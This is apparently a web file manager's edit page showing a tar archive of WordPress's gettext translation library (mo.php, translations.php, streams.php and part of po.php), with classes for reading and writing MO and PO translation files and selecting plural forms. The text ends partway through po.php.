File manager - Edit - /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/pomo.tar
Back
mo.php 0000644 00000022503 15217314740 0005676 0 ustar 00 <?php /** * Class for working with MO files * * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage mo */ require_once __DIR__ . '/translations.php'; require_once __DIR__ . '/streams.php'; if ( ! class_exists( 'MO', false ) ) : class MO extends Gettext_Translations { /** * Number of plural forms. * * @var int */ public $_nplurals = 2; /** * Loaded MO file. * * @var string */ private $filename = ''; /** * Returns the loaded MO file. * * @return string The loaded MO file. */ public function get_filename() { return $this->filename; } /** * Fills up with the entries from MO file $filename * * @param string $filename MO file to load * @return bool True if the import from file was successful, otherwise false. */ public function import_from_file( $filename ) { $reader = new POMO_FileReader( $filename ); if ( ! $reader->is_resource() ) { return false; } $this->filename = (string) $filename; return $this->import_from_reader( $reader ); } /** * @param string $filename * @return bool */ public function export_to_file( $filename ) { $fh = fopen( $filename, 'wb' ); if ( ! $fh ) { return false; } $res = $this->export_to_file_handle( $fh ); fclose( $fh ); return $res; } /** * @return string|false */ public function export() { $tmp_fh = fopen( 'php://temp', 'r+' ); if ( ! $tmp_fh ) { return false; } $this->export_to_file_handle( $tmp_fh ); rewind( $tmp_fh ); return stream_get_contents( $tmp_fh ); } /** * @param Translation_Entry $entry * @return bool */ public function is_entry_good_for_export( $entry ) { if ( empty( $entry->translations ) ) { return false; } if ( ! array_filter( $entry->translations ) ) { return false; } return true; } /** * @param resource $fh * @return true */ public function export_to_file_handle( $fh ) { $entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) ); ksort( $entries ); $magic = 0x950412de; $revision = 0; $total = count( $entries ) + 1; // All the headers are one entry. $originals_lengths_addr = 28; $translations_lengths_addr = $originals_lengths_addr + 8 * $total; $size_of_hash = 0; $hash_addr = $translations_lengths_addr + 8 * $total; $current_addr = $hash_addr; fwrite( $fh, pack( 'V*', $magic, $revision, $total, $originals_lengths_addr, $translations_lengths_addr, $size_of_hash, $hash_addr ) ); fseek( $fh, $originals_lengths_addr ); // Headers' msgid is an empty string. fwrite( $fh, pack( 'VV', 0, $current_addr ) ); ++$current_addr; $originals_table = "\0"; $reader = new POMO_Reader(); foreach ( $entries as $entry ) { $originals_table .= $this->export_original( $entry ) . "\0"; $length = $reader->strlen( $this->export_original( $entry ) ); fwrite( $fh, pack( 'VV', $length, $current_addr ) ); $current_addr += $length + 1; // Account for the NULL byte after. } $exported_headers = $this->export_headers(); fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) ); $current_addr += strlen( $exported_headers ) + 1; $translations_table = $exported_headers . "\0"; foreach ( $entries as $entry ) { $translations_table .= $this->export_translations( $entry ) . "\0"; $length = $reader->strlen( $this->export_translations( $entry ) ); fwrite( $fh, pack( 'VV', $length, $current_addr ) ); $current_addr += $length + 1; } fwrite( $fh, $originals_table ); fwrite( $fh, $translations_table ); return true; } /** * @param Translation_Entry $entry * @return string */ public function export_original( $entry ) { // TODO: Warnings for control characters. $exported = $entry->singular; if ( $entry->is_plural ) { $exported .= "\0" . $entry->plural; } if ( $entry->context ) { $exported = $entry->context . "\4" . $exported; } return $exported; } /** * @param Translation_Entry $entry * @return string */ public function export_translations( $entry ) { // TODO: Warnings for control characters. return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0]; } /** * @return string */ public function export_headers() { $exported = ''; foreach ( $this->headers as $header => $value ) { $exported .= "$header: $value\n"; } return $exported; } /** * @param int $magic * @return string|false */ public function get_byteorder( $magic ) { // The magic is 0x950412de. // bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565 $magic_little = (int) - 1794895138; $magic_little_64 = (int) 2500072158; // 0xde120495 $magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF; if ( $magic_little === $magic || $magic_little_64 === $magic ) { return 'little'; } elseif ( $magic_big === $magic ) { return 'big'; } else { return false; } } /** * @param POMO_FileReader $reader * @return bool True if the import was successful, otherwise false. */ public function import_from_reader( $reader ) { $endian_string = MO::get_byteorder( $reader->readint32() ); if ( false === $endian_string ) { return false; } $reader->setEndian( $endian_string ); $endian = ( 'big' === $endian_string ) ? 'N' : 'V'; $header = $reader->read( 24 ); if ( $reader->strlen( $header ) !== 24 ) { return false; } // Parse header. $header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header ); if ( ! is_array( $header ) ) { return false; } // Support revision 0 of MO format specs, only. if ( 0 !== $header['revision'] ) { return false; } // Seek to data blocks. $reader->seekto( $header['originals_lengths_addr'] ); // Read originals' indices. $originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr']; if ( $originals_lengths_length !== $header['total'] * 8 ) { return false; } $originals = $reader->read( $originals_lengths_length ); if ( $reader->strlen( $originals ) !== $originals_lengths_length ) { return false; } // Read translations' indices. $translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr']; if ( $translations_lengths_length !== $header['total'] * 8 ) { return false; } $translations = $reader->read( $translations_lengths_length ); if ( $reader->strlen( $translations ) !== $translations_lengths_length ) { return false; } // Transform raw data into set of indices. $originals = $reader->str_split( $originals, 8 ); $translations = $reader->str_split( $translations, 8 ); // Skip hash table. $strings_addr = $header['hash_addr'] + $header['hash_length'] * 4; $reader->seekto( $strings_addr ); $strings = $reader->read_all(); $reader->close(); for ( $i = 0; $i < $header['total']; $i++ ) { $o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] ); $t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] ); if ( ! $o || ! $t ) { return false; } // Adjust offset due to reading strings to separate space before. $o['pos'] -= $strings_addr; $t['pos'] -= $strings_addr; $original = $reader->substr( $strings, $o['pos'], $o['length'] ); $translation = $reader->substr( $strings, $t['pos'], $t['length'] ); if ( '' === $original ) { $this->set_headers( $this->make_headers( $translation ) ); } else { $entry = &$this->make_entry( $original, $translation ); $this->entries[ $entry->key() ] = &$entry; } } return true; } /** * Build a Translation_Entry from original string and translation strings, * found in a MO file * * @static * @param string $original original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator * @param string $translation translation string from MO file. Might contain * 0x00 as a plural translations separator * @return Translation_Entry Entry instance. */ public function &make_entry( $original, $translation ) { $entry = new Translation_Entry(); // Look for context, separated by \4. $parts = explode( "\4", $original ); if ( isset( $parts[1] ) ) { $original = $parts[1]; $entry->context = $parts[0]; } // Look for plural original. $parts = explode( "\0", $original ); $entry->singular = $parts[0]; if ( isset( $parts[1] ) ) { $entry->is_plural = true; $entry->plural = $parts[1]; } // Plural translations are also separated by \0. $entry->translations = explode( "\0", $translation ); return $entry; } /** * @param int $count * @return string */ public function select_plural_form( $count ) { return $this->gettext_select_plural_form( $count ); } /** * @return int */ public function get_plural_forms_count() { return $this->_nplurals; } } endif; translations.php 0000644 00000031014 15217314740 0010001 0 ustar 00 <?php /** * Class for a set of entries for translation and their associated headers * * @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage translations * @since 2.8.0 */ require_once __DIR__ . '/plural-forms.php'; require_once __DIR__ . '/entry.php'; if ( ! class_exists( 'Translations', false ) ) : /** * Translations class. * * @since 2.8.0 */ #[AllowDynamicProperties] class Translations { /** * List of translation entries. * * @since 2.8.0 * * @var Translation_Entry[] */ public $entries = array(); /** * List of translation headers. * * @since 2.8.0 * * @var array<string, string> */ public $headers = array(); /** * Adds an entry to the PO structure. * * @since 2.8.0 * * @param array|Translation_Entry $entry * @return bool True on success, false if the entry doesn't have a key. */ public function add_entry( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } $this->entries[ $key ] = &$entry; return true; } /** * Adds or merges an entry to the PO structure. * * @since 2.8.0 * * @param array|Translation_Entry $entry * @return bool True on success, false if the entry doesn't have a key. */ public function add_entry_or_merge( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } if ( isset( $this->entries[ $key ] ) ) { $this->entries[ $key ]->merge_with( $entry ); } else { $this->entries[ $key ] = &$entry; } return true; } /** * Sets $header PO header to $value * * If the header already exists, it will be overwritten * * TODO: this should be out of this class, it is gettext specific * * @since 2.8.0 * * @param string $header header name, without trailing : * @param string $value header value, without trailing \n */ public function set_header( $header, $value ) { $this->headers[ $header ] = $value; } /** * Sets translation headers. * * @since 2.8.0 * * @param array $headers Associative array of headers. */ public function set_headers( $headers ) { foreach ( $headers as $header => $value ) { $this->set_header( $header, $value ); } } /** * Returns a given translation header. * * @since 2.8.0 * * @param string $header * @return string|false Header if it exists, false otherwise. */ public function get_header( $header ) { return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false; } /** * Returns a given translation entry. * * @since 2.8.0 * * @param Translation_Entry $entry Translation entry. * @return Translation_Entry|false Translation entry if it exists, false otherwise. */ public function translate_entry( &$entry ) { $key = $entry->key(); return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false; } /** * Translates a singular string. * * @since 2.8.0 * * @param string $singular * @param string $context * @return string */ public function translate( $singular, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular; } /** * Given the number of items, returns the 0-based index of the plural form to use * * Here, in the base Translations class, the common logic for English is implemented: * 0 if there is one element, 1 otherwise * * This function should be overridden by the subclasses. For example MO/PO can derive the logic * from their headers. * * @since 2.8.0 * * @param int $count Number of items. * @return int Plural form to use. */ public function select_plural_form( $count ) { return 1 === (int) $count ? 0 : 1; } /** * Returns the plural forms count. * * @since 2.8.0 * * @return int Plural forms count. */ public function get_plural_forms_count() { return 2; } /** * Translates a plural string. * * @since 2.8.0 * * @param string $singular * @param string $plural * @param int $count * @param string $context * @return string */ public function translate_plural( $singular, $plural, $count, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'plural' => $plural, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); $index = $this->select_plural_form( $count ); $total_plural_forms = $this->get_plural_forms_count(); if ( $translated && 0 <= $index && $index < $total_plural_forms && is_array( $translated->translations ) && isset( $translated->translations[ $index ] ) ) { return $translated->translations[ $index ]; } else { return 1 === (int) $count ? $singular : $plural; } } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference). */ public function merge_with( &$other ) { foreach ( $other->entries as $entry ) { $this->entries[ $entry->key() ] = $entry; } } /** * Merges originals with existing entries. * * @since 2.8.0 * * @param Translations $other */ public function merge_originals_with( &$other ) { foreach ( $other->entries as $entry ) { if ( ! isset( $this->entries[ $entry->key() ] ) ) { $this->entries[ $entry->key() ] = $entry; } else { $this->entries[ $entry->key() ]->merge_with( $entry ); } } } } /** * Gettext_Translations class. * * @since 2.8.0 */ class Gettext_Translations extends Translations { /** * Number of plural forms. * * @var int * * @since 2.8.0 */ public $_nplurals; /** * Callback to retrieve the plural form. * * @var callable * * @since 2.8.0 */ public $_gettext_select_plural_form; /** * The gettext implementation of select_plural_form. * * It lives in this class, because there are more than one descendant, which will use it and * they can't share it effectively. * * @since 2.8.0 * * @param int $count Plural forms count. * @return int Plural form to use. */ public function gettext_select_plural_form( $count ) { if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } return call_user_func( $this->_gettext_select_plural_form, $count ); } /** * Returns the nplurals and plural forms expression from the Plural-Forms header. * * @since 2.8.0 * * @param string $header * @return array{0: int, 1: string} */ public function nplurals_and_expression_from_header( $header ) { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { $nplurals = (int) $matches[1]; $expression = trim( $matches[2] ); return array( $nplurals, $expression ); } else { return array( 2, 'n != 1' ); } } /** * Makes a function, which will return the right translation index, according to the * plural forms header. * * @since 2.8.0 * * @param int $nplurals * @param string $expression * @return callable */ public function make_plural_form_function( $nplurals, $expression ) { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 2, 'n != 1' ); } } /** * Adds parentheses to the inner parts of ternary operators in * plural expressions, because PHP evaluates ternary operators from left to right * * @since 2.8.0 * @deprecated 6.5.0 Use the Plural_Forms class instead. * * @see Plural_Forms * * @param string $expression the expression without parentheses * @return string the expression with parentheses added */ public function parenthesize_plural_exression( $expression ) { $expression .= ';'; $res = ''; $depth = 0; for ( $i = 0; $i < strlen( $expression ); ++$i ) { $char = $expression[ $i ]; switch ( $char ) { case '?': $res .= ' ? ('; ++$depth; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $depth ) . ';'; $depth = 0; break; default: $res .= $char; } } return rtrim( $res, ';' ); } /** * Prepare translation headers. * * @since 2.8.0 * * @param string $translation * @return array<string, string> Translation headers */ public function make_headers( $translation ) { $headers = array(); // Sometimes \n's are used instead of real new lines. $translation = str_replace( '\n', "\n", $translation ); $lines = explode( "\n", $translation ); foreach ( $lines as $line ) { $parts = explode( ':', $line, 2 ); if ( ! isset( $parts[1] ) ) { continue; } $headers[ trim( $parts[0] ) ] = trim( $parts[1] ); } return $headers; } /** * Sets translation headers. * * @since 2.8.0 * * @param string $header * @param string $value */ public function set_header( $header, $value ) { parent::set_header( $header, $value ); if ( 'Plural-Forms' === $header ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } } } endif; if ( ! class_exists( 'NOOP_Translations', false ) ) : /** * Provides the same interface as Translations, but doesn't do anything. * * @since 2.8.0 */ #[AllowDynamicProperties] class NOOP_Translations { /** * List of translation entries. * * @since 2.8.0 * * @var Translation_Entry[] */ public $entries = array(); /** * List of translation headers. * * @since 2.8.0 * * @var array<string, string> */ public $headers = array(); public function add_entry( $entry ) { return true; } /** * Sets a translation header. * * @since 2.8.0 * * @param string $header * @param string $value */ public function set_header( $header, $value ) { } /** * Sets translation headers. * * @since 2.8.0 * * @param array $headers */ public function set_headers( $headers ) { } /** * Returns a translation header. * * @since 2.8.0 * * @param string $header * @return false */ public function get_header( $header ) { return false; } /** * Returns a given translation entry. * * @since 2.8.0 * * @param Translation_Entry $entry * @return false */ public function translate_entry( &$entry ) { return false; } /** * Translates a singular string. * * @since 2.8.0 * * @param string $singular * @param string $context */ public function translate( $singular, $context = null ) { return $singular; } /** * Returns the plural form to use. * * @since 2.8.0 * * @param int $count * @return int */ public function select_plural_form( $count ) { return 1 === (int) $count ? 0 : 1; } /** * Returns the plural forms count. * * @since 2.8.0 * * @return int */ public function get_plural_forms_count() { return 2; } /** * Translates a plural string. * * @since 2.8.0 * * @param string $singular * @param string $plural * @param int $count * @param string $context * @return string */ public function translate_plural( $singular, $plural, $count, $context = null ) { return 1 === (int) $count ? $singular : $plural; } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other */ public function merge_with( &$other ) { } } endif; streams.php 0000644 00000017376 15217314740 0006755 0 ustar 00 <?php /** * Classes, which help reading streams of data from files. * Based on the classes from Danilo Segan <danilo@kvota.net> * * @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage streams */ if ( ! class_exists( 'POMO_Reader', false ) ) : #[AllowDynamicProperties] class POMO_Reader { public $endian = 'little'; public $_pos; public $is_overloaded; /** * PHP5 constructor. */ public function __construct() { if ( function_exists( 'mb_substr' ) && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated ) { $this->is_overloaded = true; } else { $this->is_overloaded = false; } $this->_pos = 0; } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_Reader::__construct() */ public function POMO_Reader() { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct(); } /** * Sets the endianness of the file. * * @param string $endian Set the endianness of the file. Accepts 'big', or 'little'. */ public function setEndian( $endian ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid $this->endian = $endian; } /** * Reads a 32bit Integer from the Stream * * @return mixed The integer, corresponding to the next 32 bits from * the stream of false if there are not enough bytes or on error */ public function readint32() { $bytes = $this->read( 4 ); if ( 4 !== $this->strlen( $bytes ) ) { return false; } $endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V'; $int = unpack( $endian_letter, $bytes ); return reset( $int ); } /** * Reads an array of 32-bit Integers from the Stream * * @param int $count How many elements should be read * @return mixed Array of integers or false if there isn't * enough data or on error */ public function readint32array( $count ) { $bytes = $this->read( 4 * $count ); if ( 4 * $count !== $this->strlen( $bytes ) ) { return false; } $endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V'; return unpack( $endian_letter . $count, $bytes ); } /** * @param string $input_string * @param int $start * @param int $length * @return string */ public function substr( $input_string, $start, $length ) { if ( $this->is_overloaded ) { return mb_substr( $input_string, $start, $length, 'ascii' ); } else { return substr( $input_string, $start, $length ); } } /** * @param string $input_string * @return int */ public function strlen( $input_string ) { if ( $this->is_overloaded ) { return mb_strlen( $input_string, 'ascii' ); } else { return strlen( $input_string ); } } /** * @param string $input_string * @param int $chunk_size * @return array */ public function str_split( $input_string, $chunk_size ) { if ( ! function_exists( 'str_split' ) ) { $length = $this->strlen( $input_string ); $out = array(); for ( $i = 0; $i < $length; $i += $chunk_size ) { $out[] = $this->substr( $input_string, $i, $chunk_size ); } return $out; } else { return str_split( $input_string, $chunk_size ); } } /** * @return int */ public function pos() { return $this->_pos; } /** * @return true */ public function is_resource() { return true; } /** * @return true */ public function close() { return true; } } endif; if ( ! class_exists( 'POMO_FileReader', false ) ) : class POMO_FileReader extends POMO_Reader { /** * File pointer resource. * * @var resource|false */ public $_f; /** * @param string $filename */ public function __construct( $filename ) { parent::__construct(); $this->_f = fopen( $filename, 'rb' ); } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_FileReader::__construct() */ public function POMO_FileReader( $filename ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $filename ); } /** * @param int $bytes * @return string|false Returns read string, otherwise false. */ public function read( $bytes ) { return fread( $this->_f, $bytes ); } /** * @param int $pos * @return bool */ public function seekto( $pos ) { if ( -1 === fseek( $this->_f, $pos, SEEK_SET ) ) { return false; } $this->_pos = $pos; return true; } /** * @return bool */ public function is_resource() { return is_resource( $this->_f ); } /** * @return bool */ public function feof() { return feof( $this->_f ); } /** * @return bool */ public function close() { return fclose( $this->_f ); } /** * @return string */ public function read_all() { return stream_get_contents( $this->_f ); } } endif; if ( ! class_exists( 'POMO_StringReader', false ) ) : /** * Provides file-like methods for manipulating a string instead * of a physical file. */ class POMO_StringReader extends POMO_Reader { public $_str = ''; /** * PHP5 constructor. */ public function __construct( $str = '' ) { parent::__construct(); $this->_str = $str; $this->_pos = 0; } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_StringReader::__construct() */ public function POMO_StringReader( $str = '' ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $str ); } /** * @param string $bytes * @return string */ public function read( $bytes ) { $data = $this->substr( $this->_str, $this->_pos, $bytes ); $this->_pos += $bytes; if ( $this->strlen( $this->_str ) < $this->_pos ) { $this->_pos = $this->strlen( $this->_str ); } return $data; } /** * @param int $pos * @return int */ public function seekto( $pos ) { $this->_pos = $pos; if ( $this->strlen( $this->_str ) < $this->_pos ) { $this->_pos = $this->strlen( $this->_str ); } return $this->_pos; } /** * @return int */ public function length() { return $this->strlen( $this->_str ); } /** * @return string */ public function read_all() { return $this->substr( $this->_str, $this->_pos, $this->strlen( $this->_str ) ); } } endif; if ( ! class_exists( 'POMO_CachedFileReader', false ) ) : /** * Reads the contents of the file in the beginning. */ class POMO_CachedFileReader extends POMO_StringReader { /** * PHP5 constructor. */ public function __construct( $filename ) { parent::__construct(); $this->_str = file_get_contents( $filename ); if ( false === $this->_str ) { return false; } $this->_pos = 0; } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_CachedFileReader::__construct() */ public function POMO_CachedFileReader( $filename ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $filename ); } } endif; if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ) : /** * Reads the contents of the file in the beginning. */ class POMO_CachedIntFileReader extends POMO_CachedFileReader { /** * PHP5 constructor. */ public function __construct( $filename ) { parent::__construct( $filename ); } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_CachedIntFileReader::__construct() */ public function POMO_CachedIntFileReader( $filename ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $filename ); } } endif; po.php 0000644 00000035775 15217314740 0005720 0 ustar 00 <?php /** * Class for working with PO files * * @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $ * @package pomo * @subpackage po */ require_once __DIR__ . '/translations.php'; if ( ! defined( 'PO_MAX_LINE_LEN' ) ) { define( 'PO_MAX_LINE_LEN', 79 ); } /* * The `auto_detect_line_endings` setting has been deprecated in PHP 8.1, * but will continue to work until PHP 9.0. * For now, we're silencing the deprecation notice as there may still be * translation files around which haven't been updated in a long time and * which still use the old MacOS standalone `\r` as a line ending. * This fix should be revisited when PHP 9.0 is in alpha/beta. */ @ini_set( 'auto_detect_line_endings', 1 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged /** * Routines for working with PO files */ if ( ! class_exists( 'PO', false ) ) : class PO extends Gettext_Translations { public $comments_before_headers = ''; /** * Exports headers to a PO entry * * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end */ public function export_headers() { $header_string = ''; foreach ( $this->headers as $header => $value ) { $header_string .= "$header: $value\n"; } $poified = PO::poify( $header_string ); if ( $this->comments_before_headers ) { $before_headers = $this->prepend_each_line( rtrim( $this->comments_before_headers ) . "\n", '# ' ); } else { $before_headers = ''; } return rtrim( "{$before_headers}msgid \"\"\nmsgstr $poified" ); } /** * Exports all entries to PO format * * @return string sequence of msgid/msgstr PO strings, doesn't contain a newline at the end */ public function export_entries() { // TODO: Sorting. return implode( "\n\n", array_map( array( 'PO', 'export_entry' ), $this->entries ) ); } /** * Exports the whole PO file as a string * * @param bool $include_headers whether to include the headers in the export * @return string ready for inclusion in PO file string for headers and all the entries */ public function export( $include_headers = true ) { $res = ''; if ( $include_headers ) { $res .= $this->export_headers(); $res .= "\n\n"; } $res .= $this->export_entries(); return $res; } /** * Same as {@link export}, but writes the result to a file * * @param string $filename Where to write the PO string. * @param bool $include_headers Whether to include the headers in the export. * @return bool true on success, false on error */ public function export_to_file( $filename, $include_headers = true ) { $fh = fopen( $filename, 'w' ); if ( false === $fh ) { return false; } $export = $this->export( $include_headers ); $res = fwrite( $fh, $export ); if ( false === $res ) { return false; } return fclose( $fh ); } /** * Text to include as a comment before the start of the PO contents * * Doesn't need to include # in the beginning of lines, these are added automatically * * @param string $text Text to include as a comment. */ public function set_comment_before_headers( $text ) { $this->comments_before_headers = $text; } /** * Formats a string in PO-style * * @param string $input_string the string to format * @return string the poified string */ public static function poify( $input_string ) { $quote = '"'; $slash = '\\'; $newline = "\n"; $replaces = array( "$slash" => "$slash$slash", "$quote" => "$slash$quote", "\t" => '\t', ); $input_string = str_replace( array_keys( $replaces ), array_values( $replaces ), $input_string ); $po = $quote . implode( "{$slash}n{$quote}{$newline}{$quote}", explode( $newline, $input_string ) ) . $quote; // Add empty string on first line for readability. if ( str_contains( $input_string, $newline ) && ( substr_count( $input_string, $newline ) > 1 || substr( $input_string, -strlen( $newline ) ) !== $newline ) ) { $po = "$quote$quote$newline$po"; } // Remove empty strings. $po = str_replace( "$newline$quote$quote", '', $po ); return $po; } /** * Gives back the original string from a PO-formatted string * * @param string $input_string PO-formatted string * @return string unescaped string */ public static function unpoify( $input_string ) { $escapes = array( 't' => "\t", 'n' => "\n", 'r' => "\r", '\\' => '\\', ); $lines = array_map( 'trim', explode( "\n", $input_string ) ); $lines = array_map( array( 'PO', 'trim_quotes' ), $lines ); $unpoified = ''; $previous_is_backslash = false; foreach ( $lines as $line ) { preg_match_all( '/./u', $line, $chars ); $chars = $chars[0]; foreach ( $chars as $char ) { if ( ! $previous_is_backslash ) { if ( '\\' === $char ) { $previous_is_backslash = true; } else { $unpoified .= $char; } } else { $previous_is_backslash = false; $unpoified .= isset( $escapes[ $char ] ) ? $escapes[ $char ] : $char; } } } // Standardize the line endings on imported content, technically PO files shouldn't contain \r. $unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified ); return $unpoified; } /** * Inserts $with in the beginning of every new line of $input_string and * returns the modified string * * @param string $input_string prepend lines in this string * @param string $with prepend lines with this string */ public static function prepend_each_line( $input_string, $with ) { $lines = explode( "\n", $input_string ); $append = ''; if ( "\n" === substr( $input_string, -1 ) && '' === end( $lines ) ) { /* * Last line might be empty because $input_string was terminated * with a newline, remove it from the $lines array, * we'll restore state by re-terminating the string at the end. */ array_pop( $lines ); $append = "\n"; } foreach ( $lines as &$line ) { $line = $with . $line; } unset( $line ); return implode( "\n", $lines ) . $append; } /** * Prepare a text as a comment -- wraps the lines and prepends # * and a special character to each line * * @access private * @param string $text the comment text * @param string $char character to denote a special PO comment, * like :, default is a space */ public static function comment_block( $text, $char = ' ' ) { $text = wordwrap( $text, PO_MAX_LINE_LEN - 3 ); return PO::prepend_each_line( $text, "#$char " ); } /** * Builds a string from the entry for inclusion in PO file * * @param Translation_Entry $entry the entry to convert to po string. * @return string|false PO-style formatted string for the entry or * false if the entry is empty */ public static function export_entry( $entry ) { if ( null === $entry->singular || '' === $entry->singular ) { return false; } $po = array(); if ( ! empty( $entry->translator_comments ) ) { $po[] = PO::comment_block( $entry->translator_comments ); } if ( ! empty( $entry->extracted_comments ) ) { $po[] = PO::comment_block( $entry->extracted_comments, '.' ); } if ( ! empty( $entry->references ) ) { $po[] = PO::comment_block( implode( ' ', $entry->references ), ':' ); } if ( ! empty( $entry->flags ) ) { $po[] = PO::comment_block( implode( ', ', $entry->flags ), ',' ); } if ( $entry->context ) { $po[] = 'msgctxt ' . PO::poify( $entry->context ); } $po[] = 'msgid ' . PO::poify( $entry->singular ); if ( ! $entry->is_plural ) { $translation = empty( $entry->translations ) ? '' : $entry->translations[0]; $translation = PO::match_begin_and_end_newlines( $translation, $entry->singular ); $po[] = 'msgstr ' . PO::poify( $translation ); } else { $po[] = 'msgid_plural ' . PO::poify( $entry->plural ); $translations = empty( $entry->translations ) ? array( '', '' ) : $entry->translations; foreach ( $translations as $i => $translation ) { $translation = PO::match_begin_and_end_newlines( $translation, $entry->plural ); $po[] = "msgstr[$i] " . PO::poify( $translation ); } } return implode( "\n", $po ); } public static function match_begin_and_end_newlines( $translation, $original ) { if ( '' === $translation ) { return $translation; } $original_begin = "\n" === substr( $original, 0, 1 ); $original_end = "\n" === substr( $original, -1 ); $translation_begin = "\n" === substr( $translation, 0, 1 ); $translation_end = "\n" === substr( $translation, -1 ); if ( $original_begin ) { if ( ! $translation_begin ) { $translation = "\n" . $translation; } } elseif ( $translation_begin ) { $translation = ltrim( $translation, "\n" ); } if ( $original_end ) { if ( ! $translation_end ) { $translation .= "\n"; } } elseif ( $translation_end ) { $translation = rtrim( $translation, "\n" ); } return $translation; } /** * @param string $filename * @return bool */ public function import_from_file( $filename ) { $f = fopen( $filename, 'r' ); if ( ! $f ) { return false; } $lineno = 0; while ( true ) { $res = $this->read_entry( $f, $lineno ); if ( ! $res ) { break; } if ( '' === $res['entry']->singular ) { $this->set_headers( $this->make_headers( $res['entry']->translations[0] ) ); } else { $this->add_entry( $res['entry'] ); } } PO::read_line( $f, 'clear' ); if ( false === $res ) { return false; } if ( ! $this->headers && ! $this->entries ) { return false; } return true; } /** * Helper function for read_entry * * @param string $context * @return bool */ protected static function is_final( $context ) { return ( 'msgstr' === $context ) || ( 'msgstr_plural' === $context ); } /** * @param resource $f * @param int $lineno * @return null|false|array */ public function read_entry( $f, $lineno = 0 ) { $entry = new Translation_Entry(); // Where were we in the last step. // Can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural. $context = ''; $msgstr_index = 0; while ( true ) { ++$lineno; $line = PO::read_line( $f ); if ( ! $line ) { if ( feof( $f ) ) { if ( self::is_final( $context ) ) { break; } elseif ( ! $context ) { // We haven't read a line and EOF came. return null; } else { return false; } } else { return false; } } if ( "\n" === $line ) { continue; } $line = trim( $line ); if ( preg_match( '/^#/', $line, $m ) ) { // The comment is the start of a new entry. if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); --$lineno; break; } // Comments have to be at the beginning. if ( $context && 'comment' !== $context ) { return false; } // Add comment. $this->add_comment_to_entry( $entry, $line ); } elseif ( preg_match( '/^msgctxt\s+(".*")/', $line, $m ) ) { if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); --$lineno; break; } if ( $context && 'comment' !== $context ) { return false; } $context = 'msgctxt'; $entry->context .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgid\s+(".*")/', $line, $m ) ) { if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); --$lineno; break; } if ( $context && 'msgctxt' !== 